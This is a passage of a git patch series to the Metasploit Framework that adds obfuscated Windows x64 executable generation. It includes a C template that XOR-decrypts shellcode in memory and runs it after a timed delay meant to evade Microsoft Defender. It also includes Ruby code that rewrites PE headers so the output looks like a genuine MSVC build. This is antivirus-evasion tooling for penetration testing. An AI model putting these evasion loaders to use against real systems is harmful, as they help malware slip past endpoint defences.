'The msi template file name']), OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']), - OptBool.new('EXE::Obfuscation::Enabled', [false, 'Use JIT obfuscation when generating the executable', false]), - OptPath.new('EXE::Obfuscation::Template', [false, 'The JIT obfuscation template file name. This should be a C file that will be compiled with the payload embedded in it.']), - OptPath.new('EXE::Obfuscation::Path', [false, 'The directory in which to look for the JIT obfuscation template']), - OptEnum.new('EXE::Obfuscation::Compiler', [true, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm']]) ], self.class) end @@ -188,7 +184,11 @@ def exe_init_options(opts) :template => datastore['EXE::Template'], :inject => datastore['EXE::Inject'], :fallback => datastore['EXE::FallBack'], - :sub_method => false + :sub_method => false, + :dynamic_template_enabled => datastore['EXE::Template::Dynamic::Enabled'], + :dynamic_template_obfluscation => datastore['EXE::Template::Dynamic::Obfluscation'], + :dynamic_template_customtemplate => datastore['EXE::Template::Dynamic::CustomTemplate'], + :dynamic_template_compiler => datastore['EXE::Template::Dynamic::Compiler'] }) # NOTE: If code and platform/arch are supplied, we use those values and skip initialization. diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 3eb8b3d4115b8..f28f22e68db3a 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -150,7 +150,11 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('WORKSPACE', [ false, "Specify the workspace for this module" ]), - OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ]) + OptBool.new('VERBOSE', [ false, 'Enable detailed status messages', false ]), + OptBool.new('EXE::Template::Dynamic::Enabled', [false, 'Use dynamic template when generating the executable', false]), + OptPath.new('EXE::Template::Dynamic::CustomTemplate', [false, 'Use custom template when generating the executable']), + OptBool.new('EXE::Template::Dynamic::Obfluscation', [false, 'Use JIT obfuscation when generating the executable', false]), + OptEnum.new('EXE::Template::Dynamic::Compiler', [false, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm', 'msfcompile']]) ], Msf::Module) end diff --git a/lib/msf/core/obfluscation/exe_template.rb b/lib/msf/core/obfluscation/exe_template.rb new file mode 100644 index 0000000000000..b1f49a6059115 --- /dev/null +++ b/lib/msf/core/obfluscation/exe_template.rb @@ -0,0 +1,44 @@ +require 'erb' +require 'metasploit/framework/compiler/mingw' +require 'metasploit/framework/compiler/windows' +require 'metasploit/framework/compiler/custom' +require 'pry' +require 'pry-byebug' + +module Msf::Obfluscation::ExeTemplate + + def self.exe_template_compile(framework, code, opts) + + binding.pry + + template_path = framework.datastore['EXE::Template::Dynamic::CustomTemplate'] + template_path ||= File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb') + + key = rand(256) + control_byte = rand(256) + + code.prepend(control_byte.chr) + + payload_length = code.bytesize + + payload = code.bytes.map { |b| "\\x%02x" % (b ^ key) }.join + encoded_first_byte = key ^ control_byte + + template = ERB.new(File.read(template_path)) + source_c = template.result(binding) + +# if framework.datastore['exe::template::dynamic::obfluscation'] + + + case framework.datastore['EXE::Template::Dynamic::Compiler'] + when 'metasm' + return Metasploit::Framework::Compiler::Windows.compile_c(source_c, :exe,Metasm::X86_64.new) + when 'msfcompile' + return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe) + else + raise "Unknown compiler: #{opts['EXE::Template::Dynamic::Compiler']}" + end + + end + +end diff --git a/lib/msf/core/obfuscation/exe_template.rb b/lib/msf/core/obfuscation/exe_template.rb deleted file mode 100644 index 1451365686838..0000000000000 --- a/lib/msf/core/obfuscation/exe_template.rb +++ /dev/null @@ -1,64 +0,0 @@ - -require 'metasploit/framework/compiler/windows' -module Msf::Obfuscation::ExeTemplate - def self.exe_template_compile(framework, opts) - template_path = framework.datastore['EXE::Obfuscation::Path'] || File.join(Msf::Config.data_directory, 'templates/src/pe/exe') - template = framework.datastore['EXE::Obfuscation::Template'] || "template.c.erb" - # if template is a erb file, render it with erb - if File.extname(template) == '.erb' - template = ERB.new(File.read(File.join(template_path, template))).result(binding) - end - template_file = File.join(template_path, template) - arch = opts[:arch].first if opts[:arch].kind_of? Array - metasm_cpu = arch == ARCH_X64 ? Metasm::X64.new : Metasm::Ia32.new - windows_compiler_options = { - :type => :exe, - :cpu => metasm_cpu, - :weight => 100 - } - # binding.pry - exe = Metasploit::Framework::Compiler::Windows.compile_random_c(File.read(template_file), windows_compiler_options) - # If linux host, throw the exe in /tmp and return /tmp as path and the exe name. - if File.exists?('/tmp/') && File.writable?('/tmp/') - path = '/tmp/' - out_file = File.join(path, "#{Rex::Text.rand_text_alpha(8)}.exe") - File.write(out_file, exe, mode: 'wb') - print_status("Compiled JIT obfuscation template to #{out_file}\n") - return path, File.basename(out_file) - else - print_error("Template obfuscation currently works on Linux only with a writable /tmp directory.") - end - return nil, nil - end - - def self.src_random_nested_functions(target_fname, depth=3, max_deadended_functions=5) - prev_func = target_fname - code = "" - (1..depth).each do |i| - deadend_functions_number = rand(1..max_deadended_functions) - deadended_functions = [""] - - (1..deadend_functions_number).each do |j| - dead_func_name = "#{Rex::Text.rand_text_alpha(16)}" - code << "void #{dead_func_name}() {\n int i = #{rand(1..100)};\n}\n\n" - deadended_functions << dead_func_name - end - - func_name = "#{Rex::Text.rand_text_alpha(16)}" - code << "void #{func_name}() {\n" - prev_function_inserted = false - deadend_functions_to_call = deadended_functions.sample(rand(1..deadended_functions.length)) - deadend_functions_to_call.each do |dead_func| - if !prev_function_inserted && rand(0..1) == 1 - code << " #{prev_func}();\n" - prev_function_inserted = true - end - code << " #{dead_func}();\n" - end - code << " #{prev_func}();\n" unless prev_function_inserted - code << "}\n\n" - prev_func = func_name - end - code - end -end \ No newline at end of file diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 1e60a8685b92f..33d1d8d2c39da 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,6 +1,4 @@ # -*- coding: binary -*- -require 'pry' -require 'pry-byebug' module Msf::Util::EXE include Msf::Util::EXE::Common @@ -104,7 +102,6 @@ def to_executable(framework, arch, plat, code = '', fmt='', opts = {}) def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) # For backwards compatibility with the way this gets called when # generating from Msf::Simple::Payload.generate_simple - binding.pry if arch.is_a? Array output = nil arch.each do |a| diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index 39ccfa08a997f..4b08b8d968787 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -1,13 +1,13 @@ require 'erb' require 'metasploit/framework/compiler/windows' require 'metasploit/framework/compiler/mingw' -require 'pry' -require 'pry-byebug' # -*- coding: binary -*- module Msf::Util::EXE::Windows::X64 include Msf::Util::EXE::Common include Msf::Util::EXE::Windows::Common + include Msf::Obfluscation::ExeTemplate + def self.included(base) base.extend(ClassMethods) end @@ -22,6 +22,9 @@ module ClassMethods def to_win64pe(framework, code, opts = {}) # Use the standard template if not specified by the user. # This helper finds the full path and stores it in opts[:template]. + + return Msf::Obfluscation::ExeTemplate.exe_template_compile(framework, code, opts) #if framework.datastore['EXE::Template::Dynamic::Enabled'] + set_template_default(opts, 'template_x64_windows.exe') # ----------------------------- From 8e1261d1eef8cd911204d8d7d9618ad715a67c1b Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sat, 25 Apr 2026 17:57:01 +0200 Subject: [PATCH 09/10] Adds new stuff to template, adds patching PE, adds placeholder for import section patching --- data/templates/template_x64_windows.erb | 18 +- data/templates/template_x64_windows_xor.erb | 96 ++++++ lib/metasploit/framework/compiler/custom.rb | 69 +---- lib/metasploit/framework/compiler/pe.rb | 319 ++++++++++++++++++++ lib/msf/core/obfluscation/exe_template.rb | 42 +-- 5 files changed, 443 insertions(+), 101 deletions(-) create mode 100644 data/templates/template_x64_windows_xor.erb create mode 100644 lib/metasploit/framework/compiler/pe.rb diff --git a/data/templates/template_x64_windows.erb b/data/templates/template_x64_windows.erb index 26bf0706061c1..8fbb483a207a9 100644 --- a/data/templates/template_x64_windows.erb +++ b/data/templates/template_x64_windows.erb @@ -4,27 +4,13 @@ char bPayload[SCSIZE] = "<%= payload %>"; -char GetKey() -{ - char hardcoded = bPayload[0]; - for (int i = 0; i <= 255; i++) - { - char res = i ^ hardcoded; - if (res == (char)<%= "0x%02x"% control_byte %>) - return (char)i; - } -} void main() { DWORD dwOldProtect; char* payload_fnc = NULL; - char key = GetKey(); - for (int i = 0; i < SCSIZE; i++) - { - bPayload[i] = bPayload[i] ^ key; - } - payload_fnc = bPayload + 1; + payload_fnc = bPayload; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); (*(void (*)()) payload_fnc)(); return; diff --git a/data/templates/template_x64_windows_xor.erb b/data/templates/template_x64_windows_xor.erb new file mode 100644 index 0000000000000..6efe87c0818a0 --- /dev/null +++ b/data/templates/template_x64_windows_xor.erb @@ -0,0 +1,96 @@ +#include +#include +#define SCSIZE <%= encrypted_payload_length %> + +char bPayload[SCSIZE] = "<%= encrypted_payload %>"; +char bControlBytes[<%= encryption_rounds %>] = "<%= control_bytes %>"; + +typedef union _LARGE_INTEGER { + struct { + DWORD LowPart; + LONG HighPart; + } DUMMYSTRUCTNAME; + struct { + DWORD LowPart; + LONG HighPart; + } u; + __int64 QuadPart; + } LARGE_INTEGER, *PLARGE_INTEGER; + +typedef NTSTATUS (__stdcall *fnNtDelayExecution)( + BOOLEAN Alertable, + PLARGE_INTEGER DelayInterval +); + + +int DelayExecution() +{ + // Converting minutes to milliseconds - TODO: add random interval + DWORD dwMilliSeconds = 12000; + LARGE_INTEGER DelayInterval = { 0 }; + __int64 Delay = NULL; + NTSTATUS STATUS = NULL; + + // TODO: add API hashing + fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDelayExecution"); + DWORD _T0 = NULL, _T1 = NULL; + + // Converting from milliseconds to the 100-nanosecond - negative time interval + Delay = dwMilliSeconds * 10000; + DelayInterval.QuadPart = -Delay; + + _T0 = GetTickCount(); + + + // Sleeping for 'dwMilliSeconds' ms + if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 ) { + return 0; + } + + _T1 = GetTickCount(); + + if((_T1 - _T0) < dwMilliSeconds) { + return 0; + } + + return 1; +} + +char GetKey(char control_byte) +{ + char hardcoded = bPayload[0]; + for (int i = 0; i <= 255; i++) + { + char res = i ^ hardcoded; + if (res == (char)(control_byte)) + return (char)i; + } + } + + void DecryptPayload(char control_byte) + { + char key = GetKey(control_byte); + for (int i = 0; i < SCSIZE; i++) + { + bPayload[i] = bPayload[i] ^ key; + } + } + +void main() { + DWORD dwOldProtect; + char* payload_fnc = NULL; + for(int i = 0; i < <%= encryption_rounds %>; i++) + { + DecryptPayload(bControlBytes[i]); + } + payload_fnc = bPayload + 1; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + + //play dead for Microsoft Defender, because why not + if(DelayExecution()){ + (*(void (*)()) payload_fnc)(); + } + + return; +} + diff --git a/lib/metasploit/framework/compiler/custom.rb b/lib/metasploit/framework/compiler/custom.rb index 6f7d811378a62..6ec4cead31a2f 100644 --- a/lib/metasploit/framework/compiler/custom.rb +++ b/lib/metasploit/framework/compiler/custom.rb @@ -1,6 +1,5 @@ require 'metasm' -require 'pry' -require 'pry-byebug' +require 'metasploit/framework/compiler/pe' module Metasploit module Framework @@ -8,71 +7,9 @@ module Compiler class Custom - DOS_STUB = ( - "\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21" \ - "This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00" - ).b.freeze - - RICH_HEADER = ("\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9\x52\x69\x63\x68\x3A\x72\xE9\xF9\x00\x00\x00\x00\x00\x00\x00\x00").b.freeze - - COMMON_OFFSETS = [0x40, 0x80].freeze - - def DOSHeader(pe_entry=nil) - e_lfanew = pe_entry || COMMON_OFFSETS.sample - dos_header = [ - "MZ".b, # e_magic - "\x00\x00".b, # e_cblp - "\x00\x00".b, # e_cp - "\x00\x00".b, # e_crlc - "\x00\x00".b, # e_cparhdr - "\x00\x00".b, # e_minalloc - "\x00\x00".b, # e_maxalloc - "\x00\x00".b, # e_ss - "\x00\x00".b, # e_sp - "\x00\x00".b, # e_csum - "\x00\x00".b, # e_ip - "\x00\x00".b, # e_cs - "\x40\x00".b, # e_lfarlc (offset to the DOS stub) - [e_lfanew].pack('V') # e_lfanew (offset to the PE header) - ].join - - dos_header + DOS_STUB - end - - def RichHeader - RICH_HEADER - end - - def OptionalHeader - - end - - def NTHeader(numberOfSections=1) - optionalHeader = OptionalHeader() - sizeOfOptionalHeader = optionalHeader.length - [ - # DWORD Signature - "PE\0\0".b, # Signature - # IMAGE_FILE_HEADER FileHeader - "\x64\x86".b, # Machine (0x14c for x86) - [numberOfSections].pack('v'), # NumberOfSections - "\x19\x5e\x42\x2a".b, # TimeDateStamp - TODO: randomize - "\x00\x00\x00\x00".b, # PointerToSymbolTable - "\x00\x00\x00\x00".b, # NumberOfSymbols - [sizeOfOptionalHeader].pack('v'), # SizeOfOptionalHeader - "\x02\x01".b # Characteristics (0x102 for executable) - TODO: randomize - # IMAGE_OPTIONAL_HEADER OptionalHeader - optionalHeader - ].join - end - def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new) - - binding.pry - - raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe - - + return Pe.from_c(c_template) + #raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe end end diff --git a/lib/metasploit/framework/compiler/pe.rb b/lib/metasploit/framework/compiler/pe.rb new file mode 100644 index 0000000000000..8457e75027413 --- /dev/null +++ b/lib/metasploit/framework/compiler/pe.rb @@ -0,0 +1,319 @@ +# -*- coding: binary -*- + +require 'metasm' +require 'metasploit/framework/compiler/utils' +require 'metasploit/framework/compiler/headers/windows' +require 'metasploit/framework/compiler/windows' +require 'rex/peparsey' + +module Metasploit + module Framework + module Compiler + + class Pe + + FILE_ALIGN = 0x200 + SECT_ALIGN = 0x1000 + + MACHINE_AMD64 = 0x8664 + + SUBSYSTEM_GUI = 2 + SUBSYSTEM_CUI = 3 + + # Section characteristic flags + SCN_CNT_CODE = 0x00000020 + SCN_CNT_IDATA = 0x00000040 + SCN_MEM_EXEC = 0x20000000 + SCN_MEM_READ = 0x40000000 + SCN_MEM_WRITE = 0x80000000 + + TEXT_CHARS = SCN_CNT_CODE | SCN_MEM_EXEC | SCN_MEM_READ + RDATA_CHARS = SCN_CNT_IDATA | SCN_MEM_READ + + # Standard MSVC DOS stub executable code + message string. + DOS_STUB_CODE = ( + "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21" \ + "This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00" + ).b.freeze + + # Rich header from a real MSVC 2022 (19.36) build. + # Using a static blob avoids the tricky XOR-checksum derivation for now. + # Future: generate dynamically via RichHeader.encode(profile, dos_stub_size). + RICH_HEADER = ( + "\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9" \ + "\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9" \ + "\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9" \ + "\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9" \ + "\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9" \ + "\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9" \ + "\x52\x69\x63\x68\x3A\x72\xE9\xF9" + ).b.freeze + + # # Realistic e_lfanew values seen in the wild. + # # 0x80 = MSVC default, 0xB8 = some MinGW builds. + PE_OFFSETS = [0x80, 0xB8].freeze + + def self.from_c(c_source, opts = {}) + new(opts).build_from_c(c_source) + end + + def initialize(opts = {}) + @subsystem = opts[:subsystem] == :cui ? SUBSYSTEM_CUI : SUBSYSTEM_GUI + @timestamp = opts[:timestamp] || rand(Time.new(2020, 1, 1).to_i..Time.now.to_i) + @e_lfanew = opts[:e_lfanew] || PE_OFFSETS.sample + @rich = opts.fetch(:rich, true) + @imports = opts[:imports] || {} + @text_name = opts[:text_name] || ['.text', 'CODE'].sample + @rdata_name = opts[:rdata_name] || ['.rdata', '.idata'].sample + end + + def parse_data_directories(raw, offset, count) + data_directories = [] + count.times do |i| + rva, sz = raw.byteslice(offset + i * 8, 8).unpack('L< L<') + data_directories << { rva: rva, size: sz } + end + data_directories + end + + def load_pe(raw) + dos_header_raw = raw.byteslice(0, 64).unpack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + keys = %i[ + e_magic e_cblp e_cp e_crlc e_cparhdr e_minalloc e_maxalloc + e_ss e_sp e_csum e_ip e_cs e_lfarlc e_ovno e_res + e_oemid e_oeminfo e_res2 e_lfanew + ] + + @dos_header = keys.zip(dos_header_raw).to_h + + @nt_header_signature = raw.byteslice(@dos_header[:e_lfanew], 4) + + file_header_raw = raw.byteslice(@dos_header[:e_lfanew] + 4, 20).unpack('S< S< L< L< L< S< S<') + + keys = %i[ + Machine NumberOfSections TimeDateStamp PointerToSymbolTable + NumberOfSymbols SizeOfOptionalHeader Characteristics + ] + + @file_header = keys.zip(file_header_raw).to_h + + optional_header_offset = @dos_header[:e_lfanew] + 4 + 20 + + @optional_header_type = raw.byteslice(optional_header_offset, 2).unpack('S<').first + + ## + # OPT_MAGIC_PE32 = 0x10B + # OPT_MAGIC_PE32P = 0x20B # PE32+ (64-bit) + + optional_header_raw = raw.byteslice(optional_header_offset, 112).unpack( + 'S< C C L< L< L< L< L< ' \ + 'Q< L< L< S< S< S< S< S< S< ' \ + 'L< L< L< L< S< S< Q< Q< Q< Q< L< L<' + ) + keys = %i[ + Magic MajorLinkerVersion MinorLinkerVersion SizeOfCode SizeOfInitializedData + SizeOfUninitializedData AddressOfEntryPoint BaseOfCode + ImageBase SectionAlignment FileAlignment + MajorOperatingSystemVersion MinorOperatingSystemVersion + MajorImageVersion MinorImageVersion + MajorSubsystemVersion MinorSubsystemVersion + Win32VersionValue SizeOfImage SizeOfHeaders CheckSum + Subsystem DllCharacteristics + SizeOfStackReserve SizeOfStackCommit SizeOfHeapReserve SizeOfHeapCommit + LoaderFlags NumberOfRvaAndSizes + ] + @optional_header = keys.zip(optional_header_raw).to_h + + @optional_header[:DataDirectories] = parse_data_directories(raw, optional_header_offset + 112, @optional_header[:NumberOfRvaAndSizes]) + + section_headers_offset = optional_header_offset + 112 + @optional_header[:NumberOfRvaAndSizes] * 8 + @optional_header[:SectionHeaders] = [] + @sections = [] + + @file_header[:NumberOfSections].times do |i| + section_header_raw = raw.byteslice(section_headers_offset + i * 40, 40).unpack('a8 L< L< L< L< L< L< S< S< L<') + keys = %i[ + Name VirtualSize VirtualAddress SizeOfRawData PointerToRawData + PointerToRelocations PointerToLinenumbers NumberOfRelocations + NumberOfLinenumbers Characteristics + ] + @optional_header[:SectionHeaders] << keys.zip(section_header_raw).to_h + + section_name = @optional_header[:SectionHeaders].last[:Name].strip + section_size = @optional_header[:SectionHeaders].last[:SizeOfRawData] + section_offset = @optional_header[:SectionHeaders].last[:PointerToRawData] + + @sections << { :name => @optional_header[:SectionHeaders].last[:Name].strip, :data => raw.byteslice(section_offset, section_size) } + + end + end + + + def patch_dos_header + @dos_header[:e_res2] = "\x00"*20 + @dos_header[:e_res] = "\x00"*8 + @dos_header[:e_oemid] = 0 + @dos_header[:e_oeminfo] = 0 + end + + def rebuild_pe + oh = @optional_header + + # Compute new SizeOfHeaders: all header bytes up through the last section header, + # rounded up to FileAlignment. This is the only correct way — just adding the raw + # e_lfanew delta doesn't guarantee the result stays FileAlignment-aligned. + nt_headers_end = @e_lfanew + 4 + 20 + @file_header[:SizeOfOptionalHeader] + @file_header[:NumberOfSections] * 40 + new_headers_size = align_up(nt_headers_end, FILE_ALIGN) + + # File-offset delta: how much all PointerToRawData values must shift. + # Both new_headers_size and orig_headers_size are FileAlignment multiples, + # so file_offset_delta is always FileAlignment-aligned — section pointers stay valid. + orig_headers_size = oh[:SectionHeaders].first&.dig(:PointerToRawData) || oh[:SizeOfHeaders] + file_offset_delta = new_headers_size - orig_headers_size + + # DOS header (64 bytes) — e_lfanew updated to the new offset + # out = [ + # @dos_header[:e_magic], + # @dos_header[:e_cblp], @dos_header[:e_cp], @dos_header[:e_crlc], + # @dos_header[:e_cparhdr], @dos_header[:e_minalloc], @dos_header[:e_maxalloc], + # @dos_header[:e_ss], @dos_header[:e_sp], @dos_header[:e_csum], + # @dos_header[:e_ip], @dos_header[:e_cs], @dos_header[:e_lfarlc], + # @dos_header[:e_ovno], @dos_header[:e_res], + # @dos_header[:e_oemid], @dos_header[:e_oeminfo], + # @dos_header[:e_res2], @e_lfanew + # ].pack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + + out = [ + @dos_header[:e_magic], + @dos_header[:e_cblp], @dos_header[:e_cp], @dos_header[:e_crlc], + @dos_header[:e_cparhdr], @dos_header[:e_minalloc], @dos_header[:e_maxalloc], + @dos_header[:e_ss], @dos_header[:e_sp], @dos_header[:e_csum], + @dos_header[:e_ip], @dos_header[:e_cs], @dos_header[:e_lfarlc], + @dos_header[:e_ovno], @dos_header[:e_res], + @dos_header[:e_oemid], @dos_header[:e_oeminfo], + @dos_header[:e_res2], @e_lfanew + ].pack('a2 S< S< S< S< S< S< S< S< S< S< S< S< S< a8 S< S< a20 l<') + + # DOS stub region (bytes 64..@e_lfanew-1) — DOS_STUB_CODE, zero-padded to fit + stub_area = @e_lfanew - 64 + out << DOS_STUB_CODE.b.ljust(stub_area, "\x00".b).byteslice(0, stub_area) + + # PE signature + out << @nt_header_signature + + # COFF file header (20 bytes) + out << [ + @file_header[:Machine], + @file_header[:NumberOfSections], + @file_header[:TimeDateStamp], + @file_header[:PointerToSymbolTable], + @file_header[:NumberOfSymbols], + @file_header[:SizeOfOptionalHeader], + @file_header[:Characteristics] + ].pack('S< S< L< L< L< S< S<') + + # Optional header — AddressOfEntryPoint is an RVA (virtual address space), + # not a file offset, so it must NOT be adjusted by file_offset_delta. + # SizeOfHeaders is replaced with the freshly computed new_headers_size. + out << [ + oh[:Magic], oh[:MajorLinkerVersion], oh[:MinorLinkerVersion], + oh[:SizeOfCode], oh[:SizeOfInitializedData], oh[:SizeOfUninitializedData], + oh[:AddressOfEntryPoint], oh[:BaseOfCode], + oh[:ImageBase], oh[:SectionAlignment], oh[:FileAlignment], + oh[:MajorOperatingSystemVersion], oh[:MinorOperatingSystemVersion], + oh[:MajorImageVersion], oh[:MinorImageVersion], + oh[:MajorSubsystemVersion], oh[:MinorSubsystemVersion], + oh[:Win32VersionValue], oh[:SizeOfImage], new_headers_size, + oh[:CheckSum], oh[:Subsystem], oh[:DllCharacteristics], + oh[:SizeOfStackReserve], oh[:SizeOfStackCommit], + oh[:SizeOfHeapReserve], oh[:SizeOfHeapCommit], + oh[:LoaderFlags], oh[:NumberOfRvaAndSizes] + ].pack('S< C C L< L< L< L< L< Q< L< L< S< S< S< S< S< S< L< L< L< L< S< S< Q< Q< Q< Q< L< L<') + + # Data directories (8 bytes each) + oh[:DataDirectories].each do |dir| + out << [dir[:rva], dir[:size]].pack('L< L<') + end + + # Section headers (40 bytes each) — PointerToRawData shifted by file_offset_delta + oh[:SectionHeaders].each do |sh| + out << [ + sh[:Name], sh[:VirtualSize], sh[:VirtualAddress], + sh[:SizeOfRawData], sh[:PointerToRawData] + file_offset_delta, + sh[:PointerToRelocations], sh[:PointerToLinenumbers], + sh[:NumberOfRelocations], sh[:NumberOfLinenumbers], + sh[:Characteristics] + ].pack('a8 L< L< L< L< L< L< S< S< L<') + end + + # Pad headers to new_headers_size so section data starts at the correct file offset + out = out.b.ljust(new_headers_size, "\x00".b) + + # Append raw section data + oh[:SectionHeaders].each_with_index do |sh, i| + section_data = (@sections[i] && @sections[i][:data]) || ''.b + out << section_data.b.ljust(sh[:SizeOfRawData], "\x00".b) + end + + patch_checksum(out) + end + + + def add_import_section + + end + + def build_from_c(c_source) + # cpu = Metasm::X86_64.new + # headers = Compiler::Headers::Windows.new + # source = Compiler::Utils.normalize_code(c_source, headers) + # pe = Metasm::PE.compile_c(cpu, source) + # raw = pe.encode + + raw = Metasploit::Framework::Compiler::Windows.compile_c(c_source, :exe, Metasm::X86_64.new) + load_pe(raw) + + # Do the magic + #---------------- + patch_dos_header + add_import_section + + #---------------- + new_raw = rebuild_pe + return new_raw + end + + def patch_checksum(pe_bytes) + pe_bytes = pe_bytes.b + + lfanew = pe_bytes[0x3C, 4].unpack1('V') + chksum_off = lfanew + 4 + 20 + 64 + + pe_bytes[chksum_off, 4] = "\x00\x00\x00\x00".b + + # Pad to even length for WORD-wise iteration + data = pe_bytes.bytesize.odd? ? pe_bytes + "\x00".b : pe_bytes + + sum = 0 + data.unpack('v*').each do |word| + sum += word + sum = (sum & 0xFFFF) + (sum >> 16) if sum > 0xFFFF + end + sum += pe_bytes.bytesize + + pe_bytes[chksum_off, 4] = [sum & 0xFFFFFFFF].pack('V') + pe_bytes + end + + private + + def align_up(value, boundary) + ((value + boundary - 1) / boundary) * boundary + end + + end + end + end +end diff --git a/lib/msf/core/obfluscation/exe_template.rb b/lib/msf/core/obfluscation/exe_template.rb index b1f49a6059115..58802507c7475 100644 --- a/lib/msf/core/obfluscation/exe_template.rb +++ b/lib/msf/core/obfluscation/exe_template.rb @@ -2,36 +2,40 @@ require 'metasploit/framework/compiler/mingw' require 'metasploit/framework/compiler/windows' require 'metasploit/framework/compiler/custom' -require 'pry' -require 'pry-byebug' - module Msf::Obfluscation::ExeTemplate def self.exe_template_compile(framework, code, opts) - - binding.pry - template_path = framework.datastore['EXE::Template::Dynamic::CustomTemplate'] - template_path ||= File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb') - - key = rand(256) - control_byte = rand(256) - - code.prepend(control_byte.chr) + template_path ||= File.join(Msf::Config.data_directory, 'templates','template_x64_windows_xor.erb') + + encryption_rounds = rand(2...10) + xor_keys = encryption_rounds.times.map{ rand(256) } + + control_bytes = [rand(256)] - payload_length = code.bytesize + for i in 0...encryption_rounds do + control_bytes.append(control_bytes.last ^ xor_keys[i]) + code = code.bytes.map { |b| b ^ xor_keys[i] }.pack("C*") + end + + code.prepend(control_bytes.last.chr) + control_bytes = control_bytes.reverse + control_bytes = control_bytes.drop(1) + + encrypted_payload_length = code.bytesize + + encrypted_payload = code.bytes.map { |b| "\\x%02x" % b }.join - payload = code.bytes.map { |b| "\\x%02x" % (b ^ key) }.join - encoded_first_byte = key ^ control_byte + control_bytes = control_bytes.map { |b| "\\x%02x" % b }.join template = ERB.new(File.read(template_path)) source_c = template.result(binding) -# if framework.datastore['exe::template::dynamic::obfluscation'] - - + + return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe) + case framework.datastore['EXE::Template::Dynamic::Compiler'] - when 'metasm' + when nil, 'metasm' return Metasploit::Framework::Compiler::Windows.compile_c(source_c, :exe,Metasm::X86_64.new) when 'msfcompile' return Metasploit::Framework::Compiler::Custom.compile_c(source_c, :exe) From d38f119dff67143b038d239270ef047e930add7a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sat, 25 Apr 2026 20:13:59 +0200 Subject: [PATCH 10/10] Restore ldap_esc_vulnerable_cert_finder --- .../auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb index 2b1ae91e61737..cff1e9909cb01 100644 --- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb +++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb @@ -890,7 +890,7 @@ def print_vulnerable_cert_info host: ca_server[:ip_address], port: 445, proto: 'tcp', - name: "#{vuln}", + name: vuln.to_s, info: info, refs: REFERENCES[vuln], service: service, @@ -1238,7 +1238,7 @@ def report_service_icertpassage(host, ca_name:) } report_service({ - name: 'adcs-ca', + name: ::Msf::Exploit::Remote::MsIcpr::ADCS_CA_SERVICE_NAME, resource: { 'name' => ca_name }, @@ -1257,7 +1257,10 @@ def report_service_icertpassage(host, ca_name:) } }, parents: { - name: 'smb' + name: 'smb', + parents: { + name: 'tcp' + } }.merge(common) }.merge(common) }.merge(common)